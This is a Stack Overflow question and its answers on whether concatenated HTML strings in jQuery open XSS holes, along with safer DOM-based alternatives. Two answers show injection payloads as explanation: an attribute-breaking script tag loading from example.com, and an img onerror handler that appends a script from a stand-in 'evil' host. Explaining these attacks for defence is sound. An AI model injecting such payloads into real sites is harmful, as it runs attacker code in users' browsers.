current community

your communities

more stack exchange communities

Stack Exchange
tour help
stack overflow careers
Take the 2-minute tour ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
up vote 28 down vote favorite
6

The company who hosts our site reviews our code before deploying - they've recently told us this:

HTML strings should never be directly manipulated, as that opens us up to potential XSS holes. Instead, always use a DOM api to create elements...that can be jQuery or the direct DOM apis.

For example, instead of

this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );

They tell us to do

var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );

Is this really true? Can anyone give us an example of an XSS attack that could exploit an HTML string like the first one?

share|improve this question
    
This question seems to be more suited for codereview.stackexchange.com –  Gerald Schneider 12 hours ago
32  
@GeraldSchneider No it doesn't. –  Scimonster 12 hours ago
1  
In general, it's probably not necessary. In circumstances where content comes from a user, it may be sensible. So in this case it depends where this.au came from. –  lonesomeday 12 hours ago
6  
I disagree with you @lonesomeday, even if the content doesn't come from the user but from your super trusty database, it's still good practice to handle it with care. Should your database turn out to be not so trusty and have a SQL-injection vulnerability, handling the content it serves with care will limit the damage the SQL-injection can do. As an analogy, would you tell a bank or casino they don't need cameras/alarm systems because the only ones with a key in the first place are all trusted employees? ;) –  funkwurm 12 hours ago
1  
@TRiG Actually, i don't think it does. It would be $('<a>'). –  Scimonster 11 hours ago

3 Answers 3

up vote 36 down vote accepted

If this.au is somehow modified, it might contain something like this:

"><script src="http://example.com/evilScript.js"></script><span class="

That'll mess up your HTML and inject a script:

<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>

If you use DOM manipulation to set the src attribute, the script (or whatever other XSS you use) won't be executed, as it'll be properly escaped by the DOM API.

One more thing. In the code you provided, var quizAuLink = $( 'a' ); will not create a new <a> element. It'll just select all the existing ones. You need to use var quizAuLink = $( '<a>' ); to create a new one.

share|improve this answer
2  
+1 for nice injection. –  Edan Feiles 12 hours ago
12  
Damn those example.com bastards. They host all the most malicious files. –  Fuser97381 4 hours ago
1  
Now why exactly is this more unsafe than using DOM methods? If the attacker had the possibility to modify this.au, he/she probably also had the possibility to inject a script element. –  tomsmeding 4 hours ago
1  
@tomsmeding Perhaps this.au came from an untrusted source, say, user input. –  Scimonster 4 hours ago
2  
@tomsmeding You can't protect users against their own web console use or misuse, but it's not necessarily input from the current user that you're worried about - rather something input by a malicious user which your site will display to potential victims. –  Jacob Raihle 47 mins ago
up vote 9 down vote

This should be just as secure, without compromising too much on readability:

var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);

The point is to avoid doing string operations to build HTML strings. Note that in above, I used $() only to parse a constant string, which parses to a well known result. In this example, only the this.au part is dangerous because it may contain dynamically calculated values.

share|improve this answer
2  
Just beware though, using .data() doesn't assign it as an attribute, and it's possible that the OP needs it as an attribute. Of course, it's also possible that this way is fine. –  Scimonster 1 hour ago
up vote 8 down vote

As you cannot inject script tags in modern browsers using .innerHTML you will need to listen to an event:

If this.au is somehow modified, it might contain something like this:

"><img src="broken-path.png" onerror="alert('my injection');"><span class="

That'll mess up your HTML and inject a script:

<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>

And ofcause to run bigger chunks of JavaScript set onerror to:

var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);

Thanks to Scimoster for the boilerplate

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.